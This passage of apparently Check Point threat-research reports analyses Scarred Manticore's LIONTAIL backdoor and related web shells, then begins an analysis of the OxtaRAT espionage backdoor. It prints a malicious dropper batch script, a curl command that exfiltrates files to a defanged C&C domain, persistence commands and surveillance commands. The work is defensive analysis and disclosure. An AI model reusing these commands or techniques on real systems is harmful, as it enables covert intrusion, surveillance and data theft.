sign (+), a strong wildcard that matches all possible host names. A strong wildcard is useful when an application needs to serve requests addressed to one or more relative URLs, regardless of how those requests arrive on the machine or what site (host or IP address) they specify in their Host headers. To understand how the malware configures listeners on those prefixes and how the approach changes with time, we pause for a short introduction to the Windows HTTP stack. Windows HTTP Stack components 4/31 A port-sharing mechanism, which allows multiple HTTP services to share the same TCP port and IP address, was introduced in Windows Server 2003. This mechanism is encapsulated within HTTP.sys, a kernel-mode driver that assumes the responsibility of processing HTTP requests, listens to incoming HTTP requests, and directs them to the relevant user-mode processes or services for further handling. On top of the driver layer, Windows provides the HTTP Server API, a user-mode component that provides the interface for interacting with HTTP.sys. In addition, the Internet Information Services (IIS) under the hood relies on HTTP API to interact with the HTTP.sys driver. In a similar fashion, the HttpListener class within the .NET framework is a simple wrapper around the HTTP Server API. Figure 2 Schema of HTTP stack components on Windows Servers (source). The process of receiving and processing requests for specific URL prefixes by an application (or, in our case, malware) can be outlined as follows: 1. The malware registers one or more URL prefixes with HTTP.sys by any of the means provided by the Windows operating system. 2. When an HTTP request is received, HTTP.sys identifies the application associated with the request s prefix and forwards the request to the malware if it s responsible for that prefix. 3. The malware s request handler then receives the request intercepted by HTTP.sys and generates a response for it. C&C Communication After extracting the configuration, the malware uses the same one-byte XOR to decrypt a shellcode responsible for establishing the C&C communication channel by listening to the provided URL prefixes list. While the concept of passive backdoors on web-facing Windows servers is not new and was observed in the wild hijacking the same Windows DLL wblsctrl.dll as early as 2019 (by Chinese-linked Operation ShadowHammer), the 5/31 LIONTAIL developers elevated their approach. Instead of using the HTTP API, the malware uses IOCTLs to interact directly with the underlying HTTP.sys driver. This approach is stealthier as it doesn t involve IIS or HTTP API, which are usually closely monitored by security solutions, but is not a straightforward task given that the IOCTLs for HTTP.sys are undocumented and require additional research efforts by the threat actors. First, the shellcode registers the URL prefixes with HTTP.sys using the following IOCTLs: 0x128000 UlCreateServerSessionIoctl Creates an HTTP/2.0 session. 0x128010 UlCreateUrlGroupIoctl Creates a new UrlGroup. UrlGroups are configuration containers for a set of URLs created under the server session and inherit its configuration settings. 0x12801d UlSetUrlGroupIoctl Associates the UrlGroup with the request queue by setting HttpServerBindingProperty. 0x128020 UlAddUrlToUrlGroupIoctl Adds the array of listen_urls to the newly created UrlGroup. 6/31 Figure 3 HTTP.sys IOCTL table. After registering the URL prefixes, the backdoor initiates a loop responsible for handling the incoming requests. The loop continues until it gets the request from a URL equal to the end_string provided in the backdoor s configuration. The backdoor receives requests from HTTP.sys using 0x124036 UlReceiveHttpRequestIoctl IOCTL. Depending on the version of the compromised server, the body of the request is received using 0x12403B UlReceiveEntityBodyIoctl or (if higher than 20348) 0x12403A UlReceiveEntityBodyFastIo. It is then base64-decoded and decrypted by XORing the whole data with the first byte of the data. This is a common method of encryption observed in multiple malware families, including but not limited to DEV-0861 s web-deployed Reverse proxy. 7/31 Figure 4 C&C decryption scheme from the LIONTAIL payload. The decrypted payload has the following structure: QWORD shellcode_size _BYTE[] shellcode QWORD shellcode_output (should be 0 in the incoming msg) QWORD shellcode_output_size (should be 0 in the incoming msg) QWORD MAGIC_NUM (has to be 0x18) _BYTE[] argument The malware creates a new thread and runs the shellcode in memory. For some reason, it uses shellcode_output and shellcode_output_size in the request message as pointers to the respective data in memory. To encrypt the response, the malware chooses a random byte, XOR-encodes the data using it as a key, prepends the key to the result, and then base64-encodes the entire result before sending it back to the C&C server using the IOCTL 0x12403F UlSendHttpResponseIoctl. LIONTAIL web shell In addition to PE implant, Scarred Manticore uses a web shell-based version of the LIONTAIL shellcode loader. The web shell is obfuscated in a similar manner to other Scarred Manticore .NET payloads and web shells. 8/31 Figure 5 The main function of the LIONTAIL web shell (formatted, with obfuscations preserved). The web shell gets requests with 2 parameters: The shellcode to execute. The argument for the shellcode to use. Both parameters are encrypted the same way as other communication: XOR with the first byte followed by base64 encoding. The structure of shellcodes and of arguments sent to the web shell-based shellcode loader is identical to those used in the LIONTAIL backdoor, which suggests that the artifacts observed are part of a bigger framework that allows the dynamic building of loaders and payloads depending on the actor s access and needs. LIONTAIL version using named pipes During our research, we also found loaders that have a similar internal structure to the LIONTAIL samples. Instead of listening on URL prefixes, this version gets its payloads from a named pipe and likely is designated to be installed on internal servers with no access to the public web. The configuration of the malware is a bit different: QWORD var_0 9/31 QWORD var_8 QWORD var_10 DWORD var_18 DWORD dwOpenMode DWORD dwPipeMode DWORD nMaxInstances DWORD nOutBufferSize DWORD nInBufferSize DWORD nDefaultTimeOut STRING pipe_name The main shellcode starts with converting the string security descriptor "D: (A;;FA;;;WD) into a valid, functional security descriptor. As the string starts with , it indicates a DACL (discretionary access control list) entry, which typically has the following format: entry_type:inheritance_flags(ACE_type; ACE_flags; rights; object_GUID; inherit_object_GUID; account_SID). In this case, the security descriptor allows (A) File All Access (FA) to everyone (WD). The security descriptor is then used to create a named pipe based on the values provided in the configuration. In the samples we observed, the name of the pipe used is \\.\pipe\testpipe. s noteworthy that, unlike the HTTP version, the malware doesn t employ any more advanced techniques for connecting to the named pipe, reading from it, and writing to it. Instead, it relies on standard kernel32.dll APIs such as CreateNamedPipe, and ReadFileWriteFile. The communication of named pipes-based LIONTAIL is identical to the HTTP version, with the same encryption mechanism and the same structure of the payload which runs as a shellcode in memory. LIONTAIL in-memory components Types of payloads 10/31 After the LIONTAIL loader decrypts the payload and its argument received from the attackers C&C server, it starts with parsing the argument. It is a structure that describes a type of payload for the shellcode to execute and it is built differently depending on the type of payload: TYPE = 1 Execute another shellcode: DWORD type // 1 QWORD shellcode_size _BYTE[] Shellcode TYPE = 2 Execute the specified API function: DWORD type // 2 CHAR[] library_name CHAR[] api_name The argument for the API execution has the following structure: DWORD need_to_be_freed_flag QWORD argument_size _BYTE[] argument Next stages To make things more complicated, Scarred Manticore wraps the final payload in nested shellcodes. For example, one of the shellcodes received from the attackers runs another almost identical shellcode, which in turn runs a final shellcode responsible for machine fingerprinting. The data gathered by this payload is collected by running specific Windows APIs or enumerating the registry keys, and includes these components: Computer Name (using GetComputerNameW API) and Domain Name (using GetEnvironmentVariableA API) Flag if the system is 64-bit (using GetNativeSystemInfo API, the check is done with wProcessorArchitecture == 9) Number of processors (dwNumberOfProcessors using GetNativeSystemInfo API) Physical RAM (GetPhysicallyInstalledSystemMemory) Data from CurrentVersion registry key (Type, Name length, Name, Data length, Data) 11/31 Data fromSecureBoot\State registry key (the same data) Data from System\Bios registry key (the same data) The final structure, which contains all the gathered information, also has a place for error codes for the threat actor to use to figure out why some of the APIs they use don t work as expected: DWORD last_error (GetComputerNameW) DWORD last_error (GetPhysicallyInstalledSystemMemory) DWORD last_error (GetEnvironmentVariableA) DWORD last_error (NtOpenKey CurrentVersion) DWORD last_error (NtQueryKey CurrentVersion) DWORD num_of_values (CurrentVersion) DWORD last_error (NtOpenKey SecureBoot\State) DWORD last_error (NtQueryKey SecureBoot\State) DWORD num_of_values (SecureBoot\State) DWORD last_error (NtOpenKey System\Bios) DWORD last_error (NtQueryKey System\Bios) DWORD num_of_values (System\Bios) QWORD num_of_proccesors QWORD total_RAM QWORD tick_count QWORD is_64_bit _CHAR[0X10] computer_name _CHAR[0X10] domain_name _BYTE[] CurrentVersion_data _BYTE[] SecureBootState_data _BYTE[] SystemBios_data 12/31 Additional Tools In addition to using LIONTAIL, Scarred Manticore was observed leveraging other custom components. LIONHEAD web forwarder On some of the compromised exchange servers, the actors deployed LIONHEAD, a tiny web forwarder. LIONHEAD is also installed as a service using the same phantom DLL hijacking technique as LIONTAIL and utilizes similar mechanisms to forward the traffic directly to Exchange Web Services (EWS) endpoints. LIONHEAD s configuration is different from LIONTAIL: DWORD timeout 0x493E0 DWORD forward_port 444 STRING end_string '' STRING forward_server 'localhost' STRING forward_path '/ews/exchange.asmx' STRING[] listen_urls 'https://+:443//' The backdoor registers the listen_urls prefixes in the same way as LIONTAIL and listens for requests. For each request, the backdoor copies the content type, cookie, and body and forwards it to the /: specified in the configuration. Next, the backdoor gets a response from forward_server and sends it back to the URL that received the original request. This forwarder might be used to bypass the restrictions on external connections to EWS, hide the real consumer of EWS data being external, and consequently conceal data exfiltration. Web shells Scarred Manticore deploys multiple web shells, including those previously attributed indirectly to OilRig. Some of these web shells stand out due to their obfuscations, naming conventions and artifacts. The web shells retain class and method obfuscation and a similar string encryption algorithm (XOR with one byte, the key is derived from the first byte or from the first 2 bytes) to many other web shells and .NET-based tools used by Scarred Manticore in their attacks over the past few years. 13/31 One of those shells is a heavily obfuscated and slightly modified version of an open-source XML/XSL transform web shell, Xsl Exec Shell. This web shell also contains two obfuscated functions that return the string ~/1.aspx . These functions are never called and likely are remnants from other versions, as we observed them in tools used previously by Scarred Manticore, such as FOXSHELL, which is discussed later: Figure 6 Unused strings remained from the FOXSHELL web shell versions. Targeting Based on our visibility into the latest wave of attacks that utilize LIONTAIL, the observed victims are located across the Middle East region, including Saudi Arabia, the United Arab Emirates, Jordan, Kuwait, Oman, Iraq, and Israel. The majority of the impacted entities belong to government, telecommunications, military, and financial sectors, as well as IT services providers. However, we also observed the infection on the Exchange servers belonging to a regional affiliate of a global non-profit humanitarian network. The geographic region and the targeted profile are aligned with Iranian interests and in line with the typical victim profile that MOIS-affiliated clusters usually target in espionage operations. 14/31 Figure 7 Targeted countries. Previously, DEV-0861, a cluster we believed aligns with Scarred Manticore, was publicly exposed for the initial access to and data exfiltration from the Albanian government networks, as well as email exfiltration from multiple organizations in the Middle Eastern countries such as Kuwait, Saudi Arabia, Turkey, UAE, and Jordan. Attribution and Historical Activity Since at least 2019, Scarred Manticore deployed unique tools on compromised Internetfacing Windows servers in the Middle East region. During these years, their toolset went through significant development. It began as open-source-based web-deployed proxies and 15/31 over time evolved to become a diverse and powerful toolset that utilizes both custom-written and open-source components. Figure 8 Overview of code and capabilities evolution of multiple malware versions used by Scarred Manticore. Tunna-based web shell One of the earliest samples related to the threat actor s activity is based on a web shell from Tunna, an open-source tool designed to tunnel any TCP communication over HTTP. The Tunna web shell allows to connect from the outside to any service on the remote host, including those that are blocked on the firewall, as all the external communication to the web shell is done via HTTP. The IP and the port of the remote host are sent to the web shell in the configuration stage, and in many cases, Tunna is mostly used to proxy RDP connections. The web shell used by the threat actor has the internal version Tunna v1.1g (only version 1.1a is available on Github). The most significant change from the open-source version is the encryption of requests and responses by XORing the data with the pre-defined string szEncryptionKey and appending the constant string K_SUFFIX at the end: 16/31 Figure 9 Encryption function in Tunna 1.1g proxy used by the threat actors. Figure 10 Decryption and encryption of data by Tunna proxy. FOXSHELL: XORO version Over time, the code was refactored and lost its resemblance to Tunna. We track this and all further versions as FOXSHELL. 17/31 The biggest changes resulted from organizing multiple entities into classes using an objective-oriented approach. The following class structure persists in most of the FOXSHELL versions: Figure 11 Classes within FOXSHELL. All the functionality responsible for encrypting the traffic moved to a separate EncryptionModule class. This class loads a .NET DLL embedded in a base64encoded string inside the body of FOXSHELL and invokes its encrypt and decrypt methods: 18/31 Figure 12 Base64-encoded EncryptionDll inside the web shell. Figure 13 EncryptionModule class responsible for the encrypt and decrypt method invocation. The embedded encryption module s name is XORO.dll, and its class Encryption.XORO implements decrypt and encrypt methods the same way as the Tunna-based web shell, using the same hardcoded values: 19/31 Figure 14 Encryption constants and decryption function inside XORO.dll. All requests to the web shell are also encapsulated within a class called Package, which handles different PackageTypes: Data, Config, OK, Dispose, or Error. The PackageType is defined by the first byte of the package, and depending on the type of Package, the web shell parses the package and applies the configuration (opens a new socket to the remote machine specified in the configuration and applies a new EncryptionDll if provided), or disposes of the existing socket, or proxies the connection if the package is type Data: 20/31 Figure 15 Package handling in FOXSHELL. FOXSHELL: Bsae64 version (not a typo) This version of the web shell is still unobfuscated, and its internal version is specified in the code: const string Version = "1.5" The web shell also contains the default EncryptionDll embedded inside. The module s name is Base64.dll, and the encryption class, which is misspelled as Bsae64, exposes the encrypt and decrypt methods. However, both are just simple base64 encoding: 21/31 Figure 16 Encrypt and decrypt methods in Base64.dll. Although this simple encoding could be done in the code of the web shell itself, the existence of other embedded DLLs, such as XORO.dll (described previously), and the ability to provide yet another EncryptionDll on the configuration stage, implies that the attackers prefer to control which specific type of encryption they want to use by default in certain environments. Other changes in this version are the renaming of the PackageType Config to RDPconfig, and ConfigPackage to RDPConfigPackage, indicating the actors are focused on proxying RDP connections. The code of these classes remains the same: Figure 17 RDP Configuration class. 22/31 Finally, another condition in the code handles the case of the web shell receiving a nonempty parameter WV-RESET, which calls a function to shut down the proxy socket and sends an OK response back to the attackers: Figure 18 Close proxy WV-RESET parameter. Web shell within a web shell: compiled FOXSHELL The versions that were described above, targeted entities in Middle Eastern countries, such as Saudi Arabia, Qatar, and the United Arab Emirates. This version, in addition to being leveraged against Middle Eastern governmental entities, was part of the attack against the Albanian government in May 2021. Through the exploitation of an Internet-facing Microsoft SharePoint server, the actors deployed ClientBin.aspx on the compromised server to proxy external connections and thus facilitate lateral movement throughout the victim environment. The details of the samples may vary but in all of them, the FOXHELL is compiled as DLL and embedded inside the base web shell in base64. The compiled DLL is loaded with System.Reflection.Assembly.Load, and then the ProcessRequest method from it is invoked. The DLL is written in .NET and has the name pattern App_Web_.dll, which indicates an ASP.NET dynamically compiled DLL. Figure 19 A web shell loading App_Web_*.dll. The App_Web* DLL is affected by the class and method obfuscation, and all the strings are encrypted with a combination of Base64, XOR with the first byte, and AES: 23/31 Figure 20 The inchpublic function, responsible for string encryption, showcases obfuscations of methods and classes. When the web shell is compiled into DLL, it contains the initialization stub, which ensures that the web shell listens on the correct URI. In this case, the initialization happens in the following piece of code: Figure 21 Initialization stub in the web shell App_Web_*.dll. Or, after deobfuscation: public concertthis_medal() { base.AppRelativeVirtualPath = "~/1.aspx" 24/31 if (!concertthis_medal.__initialized) { concertthis_medal.__fileDependencies = base.GetWrappedFileDependencies(new string{"~/1.aspx"}); concertthis_medal.__initialized = true; } This initialization sets the FOXSHELL to listen to the requests on the relative path ~/1.aspx, which we observed as an unused artifact in other web shells related to attacks involving LIONTAIL. Internally, the DLL has the same version of FOXSHELL, which includes the WVRESET parameter to stop the proxy and the same default Bsae64 Encryption DLL as in previous versions. Standalone backdoor based on IIS ServerManager and HTTPListener Since mid-2020, in addition to the FOXSHELL as a means to proxy the traffic, we also observed a rather sophisticated standalone passive backdoor, written in .NET and meant to be deployed on IIS servers. It is obfuscated with similar techniques as FOXSHELL and masquerades as System.Drawing.Design.dll. The SDD backdoor was previously analyzed by a Saudi researcher but was never attributed to a specific threat actor or campaign. C&C Communication The SSD backdoor sets up C&C communication through an HTTP listener on the infected machine. It is achieved using two classes: ServerManager A part of the System.Web.Administration namespace in .NET used for managing and configuring Internet Information Services (IIS) on a Windows server, such as get configuration, create, modify, or delete IIS sites, applications, and application pools. HTTPListener A class in the .NET Framework used for creating custom HTTP servers, independent of IIS and based on HTTP API. ServerManager is used to extract the sites hosted by the IIS server and build the HashSet of URL prefixes to listen on: 25/31 Figure 22 Obfuscated code of angleoppose_river function that builds HashSet of URL prefixes based on sites and bindings configured on the IIS server (Illdefy array provides the relative URls). In this specific case, the only relative URI configured in the malware sample is Temporary_Listen_Addresses. The malware then uses the HttpListener class to start listening on the specified URL prefixes: Figure 23 The HttpListener start code. C&C command execution The backdoor has several capabilities: execute commands using cmd.exe, upload and download files, execute processes with specified arguments, and run additional .NET assemblies. 26/31 Figure 24 Request handler of the SDD backdoor. First, if the POST request body contains data, the malware parses it and handles the message as one of the 4 commands it supports. Otherwise, if the request contains a parameter Vet, the malware simply decodes its value from base64 and executes it with cmd /c. If none of these is true, then the malware handles the heartbeat mechanism: if the request URL contains the string wOxhuoSBgpGcnLQZxipa in lowercase, then the malware sends back UsEPTIkCRUwarKZfRnyjcG13DFA along with a 200 OK response. The data from the POST request is encrypted using Base64 and simple XOR-based encryption: Figure 25 Command decryption algorithm. After decrypting the data of the message, the malware parses it according to the following order: DWORD command_type DWORD command_name_length STRING command_name 27/31 STRING data Figure 26 Switch that handles possible SDD backdoor command types. The possible commands, as named by the threat actors, include: Command Executes a process with a specified argument. In this case, the data is parsed to extract the process name and its argument. Upload Uploads a file to the specified path in the infected system. Download Sends a specified file to the threat actors. Rundll Loads assembly and runs it with specified parameter (if exists). The response data is built the same way as the request (returns command type, command name, and output) and then encrypted with the same XOR-based algorithm as the request. WINTAPIX driver Recently, Fortinet revealed a wave of attacks against Middle Eastern targets (mostly Saudi Arabia, but also Jordan, Qatar, and the United Arab Emirates) that involve kernel mode drivers that the researchers named WINTAPIX. Although the exact infection chain to install the drivers is unknown, they target only IIS servers as they use the IIS ServerManager object. The high-level execution flow is the following: 1. WINTAPIX driver is loaded in the kernel. 2. WINTAPIX driver enumerates user-mode processes to find a suitable process with local system privileges. 3. WINTAPIX driver injects an embedded shellcode into a previously found process. The shellcode is generated using the open-source Donut project, which allows the creation of a position-independent shellcode capable of loading and executing .NET assemblies from memory. 4. The injected shellcode loads and executes an encrypted .NET payload. 28/31 The final payload is obfuscated with a commercial obfuscator in addition to already familiar class, method, and string obfuscations, and it combines the functionality of the SDD backdoor and FOXSHELL proxy. To achieve both, it listens on two sets of URL prefixes, using ServerManager and HTTPListener similarly to the SSD backdoor. The FOXSHELL version used within the driver payload is set to 1.7. The main enhancement introduced in this version is the Event Log bypass using a known technique of suspending EventLog Service threads. The default EncryptionDll hardcoded in the driver is the same Bsae64.dll, and the core proxy structure remains largely unaltered when compared to FOXSHELL version 1.5. Figure 27 Version hardcoded in the .NET payload. Figure 28 FOXSHELL 1.7 class structure. As an extensive analysis of the WINTAPIX driver and its version SRVNET2 was already provided, here we only highlight the main overlaps between those and other discussed tools that strengthen their affiliation: The same code base as the SDD backdoor, including the heartbeat based on the same string values wOxhuoSBgpGcnLQZxipa and UsEPTIkCRUwarKZfRnyjcG13DFA. The same supported backdoor command types and encryption with the same key. The same codebase as FOXSHELL, structure, and functionality. The same obfuscation and encryption methods. Outlook LIONTAIL framework components share similar obfuscation and string artifacts with FOXSHELL, SDD backdoor, and WINTAPIX drivers. Currently, we are not aware of any other threat actors utilizing these tools, and we attribute them all to Scarred Manticore based on multiple code overlaps and shared victimology. 29/31 Conclusion For the last few years, Scarred Manticore has been observed carrying out multiple stealthy operations in Middle Eastern countries, including gaining access to telecommunications and government organizations in the region, and maintaining and leveraging this access for months to systematically exfiltrate data from the victims systems. Examining the history of their activities, it becomes evident how far the threat actor has come in improving their attacks and enhancing their approach which relies on passive implants. While LIONTAIL represents a logical progression in the evolution of FOXSHELL and still bears some distinctive characteristics that allow us to attribute attacks involving LIONTAIL to Scarred Manticore, it stands out from other observed variants. The LIONTAIL framework does not use common, usually monitored methods for implementing listeners: it no longer depends on Internet Information Services (IIS), its modules, or any other options and libraries provided by the .NET framework to manage IIS programmatically. Instead, it utilizes the lowest level of Windows HTTP Stack by interacting directly with the HTTP.sys driver. In addition, it apparently allows the threat actors to customize the implants, their configuration parameters, and loaders file delivery type. All those have enhanced the stealth ability of the implants, enabling them to evade detection for an extended period. We expect that Scarred Manticore operations will persist and may spread into other regions as per Iranian long-term interests. While most of the recent activity of Scarred Manticore is primarily focused on maintaining covert access and data extraction, the troubling example of the attack on the Albanian government networks serves as a reminder that nation-state actors may collaborate and share access with their counterparts in intelligence agencies. Check Point Customers Remain Protected Check Point Customers remain protected against attacks detailed in this report, while using IPS, Check Point Harmony Endpoint and Threat Emulation. IPS: Backdoor.WIN32.Liontail.A/B Threat Emulation: APT.Wins.Liontail.C/D IOCs 30/31 daa362f070ba121b9a2fa3567abc345edcde33c54cabefa71dd2faad78c10c33 f4639c63fb01875946a4272c3515f005d558823311d0ee4c34896c2b66122596 2097320e71990865f04b9484858d279875cf5c66a5f6d12c819a34e2385da838 67560e05383e38b2fcc30df84f0792ad095d5594838087076b214d849cde9542 4f6351b8fb3f49ff0061ee6f338cd1af88893ed20e71e211e8adb6b90e50a3b8 f6c316e2385f2694d47e936b0ac4bc9b55e279d530dd5e805f0d963cb47c3c0d 1485c0ed3e875cbdfc6786a5bd26d18ea9d31727deb8df290a1c00c780419a4e 8578bff36e3b02cc71495b647db88c67c3c5ca710b5a2bd539148550595d0330 c5b4542d61af74cf7454d7f1c8d96218d709de38f94ccfa7c16b15f726dc08c0 9117bd328e37be121fb497596a2d0619a0eaca44752a1854523b8af46a5b0ceb e1ad173e49eee1194f2a55afa681cef7c3b8f6c26572f474dec7a42e9f0cdc9d a2598161e1efff623de6128ad8aafba9da0300b6f86e8c951e616bd19f0a572b 7495c1ea421063845eb8f4599a1c17c105f700ca0671ca874c5aa5aef3764c1c 6f0a38c9eb9171cd323b0f599b74ee571620bc3f34aa07435e7c5822663de605 3875ed58c0d42e05c83843b32ed33d6ba5e94e18ffe8fb1bf34fd7dedf3f82a7 1146b1f38e420936b7c5f6b22212f3aa93515f3738c861f499ed1047865549cb b71aa5f27611a2089a5bbe34fd1aafb45bd71824b4f8c2465cf4754db746aa79 da450c639c9a50377233c0f195c3f6162beb253f320ed57d5c9bb9c7f0e83999 GO UP 31/31 Operation Silent Watch: Desktop Surveillance in Azerbaijan and Armenia research.checkpoint.com/2023/operation-silent-watch-desktop-surveillance-in-azerbaijan-and-armenia February 16, 2023 Executive summary Amid rising tensions between Azerbaijan and Armenia over the Lachin corridor in late 2022, Check Point Research identified a malicious campaign against entities in Armenia. The malware distributed in this campaign is a new version of a backdoor we track as OxtaRAT, an AutoIt-based tool for remote access and desktop surveillance. Key findings: The newest version of OxtaRAT is a polyglot file, which combines compiled AutoIT script and an image. The tool capabilities include searching for and exfiltrating files from the infected machine, recording the video from the web camera and desktop, remotely controlling the compromised machine with TightVNC, installing a web shell, performing port scanning, and more. Compared to previous campaigns of this threat actor, the latest campaign from November 2022 presents changes in the infection chain, improved operational security, and new functionality to improve the ways to steal the victim s data. The threat actors behind these attacks have been targeting human rights organizations, dissidents, and independent media in Azerbaijan for several years. This is the first time there is a clear indication of these attackers using OxtaRAT against Armenian targets and targeting corporate environments. In this report, we provide a full technical analysis of the OxtaRAT as well as its capabilities and evolution over the years. We also discuss the tactics, techniques and procedures (TTPs) of the threat actors, complete with an overview of their activity throughout the years. Background The Republic of Artsakh, also known as the Nagorno-Karabakh Republic, is a breakaway region in the South Caucasus with a majority ethnic Armenian population but is recognized internationally as part of Azerbaijan. It is a de facto enclave within Azerbaijan, with the only land route to Armenia through the Lachin corridor, which has been under the control of Russian peacekeepers since the end of the Second NagornoKarabakh War in 2020. The situation in Artsakh is tense, with frequent ceasefire violations and sporadic outbreaks of violence. For more than two decades, this unresolved highly militarized ethno-nationalist territorial conflict continues to be a source of tension between Armenia and Azerbaijan. Figure 1 Map of the conflict over Nagorno-Karabakh (Artsakh). Source: CNN. The Infection Chain 1/12 Figure 2 The infection chain. A malicious file named Israeli_NGO_thanks_Artsakh_bank_for_the_support_of.scr was submitted to VirusTotal (VT) on November 29, 2022, from an IP address located in Yerevan, Armenia. It is a self-extracting archive that masquerades as a PDF file and bears a PDF icon. Upon execution, it drops to the Temp folder of the infected device and executes a self-extracting cab called Alexander_Lapshin.EXE . This in turn drops multiple additional files and executes one of them the exec.bat script. In its deobfuscated form, this script is very short: @echo off xcopy /y /e /k /h /i * %appdata%\Autoit3\ copy /b /y %appdata%\Autoit3\Alexander_Lapshin.pdf %temp%\ start %temp%\Alexander_Lapshin.pdf start %appdata%\Autoit3\Autoit3.exe %appdata%\Autoit3\icon.png exit The exec.bat file is responsible for opening a lure PDF file that contains a Wikipedia article about Alexander Lapshin. At the same time, in the background, it copies multiple auxiliary files and the AutoIt interpreter to %appdata%\Autoit3\ and uses it to execute a malicious AutoIt code hidden inside an image called icon.png . 2/12 Figure 3 Lure PDF document. Alexander Lapshin, a Russian-Israeli travel blogger, journalist, and human rights activist, was detained in Belarus in 2016 and extradited to Azerbaijan. He was sentenced to 3 years in prison for illegally crossing the internationally recognized borders of Azerbaijan, without authorization from the Azerbaijani authorities, in 2011 and 2012 while visiting Nagorno-Karabakh from Armenia. Nine months into his detention, in September 2017, Lapshin was attacked in a solitary confinement cell of a Baku pre-trial detention center. The attack was publicly declared by Azerbaijani officials to be a suicide attempt. Afterward, he was pardoned by the Azerbaijani President and deported to Israel. In 2021, the European Court of Human Rights in the CASE OF LAPSHIN v. AZERBAIJAN ruled that Lapshin s right to life had been violated by Azerbaijan authorities and mandated that Azerbaijan pay 30,000 Euros as compensation. After the verdict, Lapshin publicly posted a picture of the credit card he opened to receive his compensation, issued by the Armenian Artsakhbank. Likely, this incident made Lapshin name an attractive lure for the attackers targeting the bank. The OxtaRAT Backdoor As we mentioned previously, AutoIT.exe is used to run code from an image called icon.png . This is a polyglot malware, combining valid JPEG and AutoIT A3X file formats: 3/12 Figure 4 Icon.png image and its internal structure. AutoIT is a legitimate tool that is used by many IT administrators to automate tasks but is frequently abused by threat actors. In this case, the actors use a fully functional backdoor containing approximately 20,000 lines of obfuscated AutoIt code: Figure 5 Fragment of OxtaRAT code including string obfuscations and random names. The backdoor, which we call OxtaRAT, contains a variety of capabilities typically associated with espionage activity. It contains commands that allow the attackers to: Run additional code on the infected machine, install a PHP web shell, download, upload and execute files. Search and exfiltrate files from specific locations or with specific patterns, and even install the PHP FileManager for easier access to and management of the files. Perform active surveillance activity: record video from a web camera or desktop, and install additional software, such as TightVNC, to remotely control and monitor the machine. Perform recon on the local machine, such as getting information about the processes, drives, system information, and the speed of the internet connection using Speedtest. Use a compromised host as a pivot to move through the network: perform port scanning and use Putty s plink for tunneled communication. Execution flow The backdoor starts by first setting up its base folder, moving the icon.png file there, and adding a persistence mechanism to run it every 2 minutes with AutoIt3.exe via a scheduled task named WallPaperChangeApp . It also creates a working folder to store the results and logs of each command execution and sets hidden and system attributes for both base and working folders to conceal them from being easily discovered and arouse suspicion. It also downloads the legitimate curl executable and DLL, which are later used for some types of C&C communication. The C&C server for this sample is edupoliceam[.]info , a lookalike for the domain of the Police Education Complex of Police of the Republic of Armenia. Next, the malware enters the main infinite loop, where in each step it performs the following actions: Creates a screenshot of the infected computer. Sends a GET request to the C&C server to report the victim s basic information: https://edupoliceam[.]info/upload.php?GUID= &SYS=PC_Name|User_Name|IP_address . Uploads (using curl) to the C&C server all the files from the working folder which contain screenshots and the results and logs of the previous command execution. Sends a GET request to C&C server to retrieve the command from the URL: https://edupoliceam[.]info/upload.php?GUID= &come=1 . Most of the capabilities require additional files, mostly legitimate, to be downloaded during the malware execution from the path on the server /requirement/up/bin/ : 4/12 /requirement/up/bin/postup.exe (curl.exe) /requirement/up/bin/libcurl.dll /requirement/up/bin/vlc.zip /requirement/up/bin/7zxa.dll /requirement/up/bin/7za.exe /requirement/up/bin/7za.dll /requirement/up/bin/pscclient.exe (port scanner) /requirement/up/bin/ptun.exe (Plink) /requirement/up/bin/wintight.exe (TightVNC) /requirement/up/bin/wsrrun.exe (PHP CLI and PHP File Manager, https://sourceforge.net/projects/phpfm/) /requirement/up/bin/WinRAR32.zip /requirement/up/bin/WinRAR64.zip /requirement/up/bin/speedtest.zip (based on https://github.com/sivel/speedtest-cli) /requirement/up/bin/AppCrashCollector.exe (the implant The only next-stage tool that wasn t available on the server, was AppCrashCollector.exe , whose download and execution are triggered by the implant command. We assume that this is the payload that the actors attempt to hide from researchers and deliver to important targets only after additional checks are performed on the infected machine. C&C communication and commands The communication between the malware and its C&C server is based on clear text commands, the arguments for each command are separated by the sign. The full list of commands supported by the backdoor: 5/12 command parameters description download file name Upload a file using curl (postup.exe): postup.exe -s -o nul -k --max-time 777 -A "Mozilla/5.0 (Windows NT 11.0; rv:54.0) Gecko/20100101 Firefox/96.1" -F "file=@"filename" https://edupoliceam[.]info/upload.php?GUID= . upload file name Download a file and save it with a specified filename and random prefix in the Temp directory. uploadexec file name Download and execute with wmic /node:%computername%" process call create $output_filename . aueval expression to be evaluated Execute a specified expression with AutoIT command Execute. makepersistent Create a scheduled task called WallPaperChangeApp . Implant Download and execute AppCrashCollector.exe . stopimplant Kill the AppCrashCollector process with taskkill /IM and set settings.ini to 0. search path, pattern Search for a pattern in a specified path with PowerShell -Noni -command '(get-childitem '" & $path & "' -Recurse -ea 0)| select Fullname | ? {$_.Fullname -like '" & $pattern & "'} | fl . listdesktop List the contents of the Desktop folder with dir /s "%homepath%\Desktop . listdir directory path List a specified directory recursively, including the last modified date and size. massdownload path, filter Upload files from a specified path with a specified filter (include/exclude), using curl for each file (the same way as the download command), with &MASSDL=1 parameter in the URL. massdownload2list path, filter List all files in a specified path matching the specified filter to the Thumb.db file. massdownload2 path, filter, [range] Upload files from a specified path from Thumb.db with POST request to the URL with &MASSDL2=1 parameter. webcamrecord length Webcam recording using VLC: $tmp_blcvid & "\blc\vlc\MediaRun.exe --no-qt-privacy-ask dshow:// --sout file/avi:" & $tmp_blcvid & "\webcam-video-record-" & $timestamp & "-sec-" & $chunk_length & ".avi --run-time=" & $chunk_length & " -Idummy --quiet vlc://quit" . The records are uploaded zipped using curl and are then deleted. desktoprecord length Desktop recording using VLC: $tmp_blcvid & "\blc\vlc\MediaRun.exe --no-qt-privacy-ask screen:// --sout file/avi:" & $tmp_blcvid & "\Desktop-video-record-" & $timestamp & "-sec-" & $chunk_length & ".avi --run-time=" & $chunk_length & " -Idummy --quiet vlc://quit" . The records are uploaded zipped using curl and then deleted. tightvnc Download Wintight.exe (AutoIt compiled executable which extracts and runs tvnserver.exe) and execute it with wmic process call create . killtightvnc Kill TightVNC with taskkill /IM TVN* /F . zipit source, zip file name, destination, [filter] Zip the folder using 7za.exe . unzipit source, destination Unzip the archive using 7za.exe . installrar Download and unzip WinRAR. rarit source, destination, [extensions], [volume_size] Archive the file/files with specific extensions from the folder using WinRAR. unrarit source, destination Extract the archive using Unrar.exe. reboot Reboot with cmd.exe /c shutdown -r -t 0 /f . curl Execute the curl command: postup.exe -i -vvv -k --max-time 60 -A 